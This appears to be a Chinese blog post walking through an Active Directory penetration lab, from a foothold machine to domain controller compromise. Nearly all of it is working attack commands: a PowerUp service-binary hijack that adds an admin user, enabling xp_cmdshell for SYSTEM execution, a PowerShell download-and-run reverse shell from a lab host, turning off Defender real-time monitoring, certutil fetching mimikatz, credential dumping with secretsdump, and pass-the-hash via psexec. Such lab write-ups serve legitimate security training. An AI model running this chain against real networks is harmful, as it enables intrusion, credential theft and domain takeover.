🔥系列专栏:日常记录
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月11日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
首先打开三台机器,客户机的桌面有一个kms激活,先激活了
然后把防病毒关了实时扫描
其他的靶场自己都都关了
这几个不关一会就把所有东西给你删干净
然后正常装vmtools不然不能复制命令
然后就是网卡,默认是vmnet19,但是你没有这个网卡,你随便配一个,然后记得打开网络适配器开关即可
最后,看一下有没有ip,配置的是静态ip
其他的两个主机也检查一下有没有ip
一切准备就绪之后,我们开始
提醒,这里没有外网打点的过程,我们已经获得了一台客户机

powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Invoke-AllChecks"
发现如下,我们可写,就可以覆盖那个可执行文件

生成一个更改密码的可执行文件
powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Write-ServiceBinary -ServiceName'VulnService' -UserName'offensive\Alice' -Password 'Passw0rd'"
ServiceName’VulnService’ 指定服务名,与枚举服务名一致
这个的作用的是添加一个管理员用户,我们把该文件改命复制去有问题的目录覆盖掉有问题的文件,然后再重启(或者你有什么办法只重启那个服务就行)

到这里就已经拿到管员了,可以提取hash,我们接着做横向
#导入PowerView.ps1脚本
Import-Module .\PowerView.ps1
#获得域信息
Get-NetDomain
#获得域控信息
Get-NetDomainController
#获得域内的用户
Get-NetUser | select name
#获得域内的组
Get-NetGroup | select name
#获得域内组中带有admin的
Get-NetGroup *admin* | select name
#获得域内组中用户alice的信息
Get-NetGroup -UserName Alice
#查看"Domain Admins"组的信息
Get-NetGroup "Domain Admins"
#获得域内主机的名字
Get-NetComputer | select name
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain | Get-SQLConnectionTest //枚举域内sqlserver的访问情况
Get-SQLServerInfo -Instance Offensive-SQL1 //枚举具体服务的详细信息
Invoke-SQLAudit -Instance Offensive-SQL1 -verbose //自动扫描当前服务器可能存在的问题(此处的Offensive-SQL1一定要注意之前枚举域内用户的信息)
枚举得到的信息是端口1443,也就是mssql,mssql对于提权的作用很大,点也很明显,一会说
还知道了所属dbadmin
我们的alice用户也是被认证的用户,所以我们可以链接数据库进行一系列操作
到这里的话我们就可以登陆数据库了,用的是tools文件夹中给到的叫啥忘记了,sql开头的一个文件夹里面的exe文件(Heidisql.exe)
没有密码的情况下就这么登,选第二个
而后我们可以再看看刚才扫描漏洞的情况
没啥东西

Xp_cmdshell
就是这个,典型,高效,简单来说,就是一个system的rce
攻击手段
1. 检查是否开启Xp_cmdshell
SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR name='show advanced options’
2. 给第一个数值变为1
EXEC sp_configure 'show advanced options',1
3. 给Xp_cmdshell数值变为1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'
我们已经提权了,但是现在想反弹一个端口
方法很多,这里指使用它给出的nfs.exe
把invoke的这个现成的反弹端口的443结尾ps1文件放上去,他就会开启一个80端口

然后本地开一个监听端口
这一块方法很多,但是我们凭借他给出的工具操作
import-module .\powercat.ps1
powercat -l -v -p 443
而后我们在刚才那个数据库管理软件中输入以下命令
EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'

拿到以后我们是dbadmin用户
是一个域管理员用户,那接下来就是提取hash值然后进dc
如果要上传mimikatz,要先关闭防火墙
Set-MpPreference -disablerealtimeMonitoring $true
certutil -urlcache -f -split http://192.168.159.10/mimikatz.exe mimikatz.exe
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
我们得到当前机器的密码(明文以及ntml的hash,可以解密)
我认为这种方式是最好用的(在akli上)
1. 用dbadmin用户枚举出所有用户的hash
secretsdump.py just-dc-ntlm offensive.local/dbadmin:"Passw8rd "@192.168.159.200
2. 用psexec带着hash登陆,直接获取system权限
psexec.py admtnistrator@192.168.159.200 -hashes "hash:hash"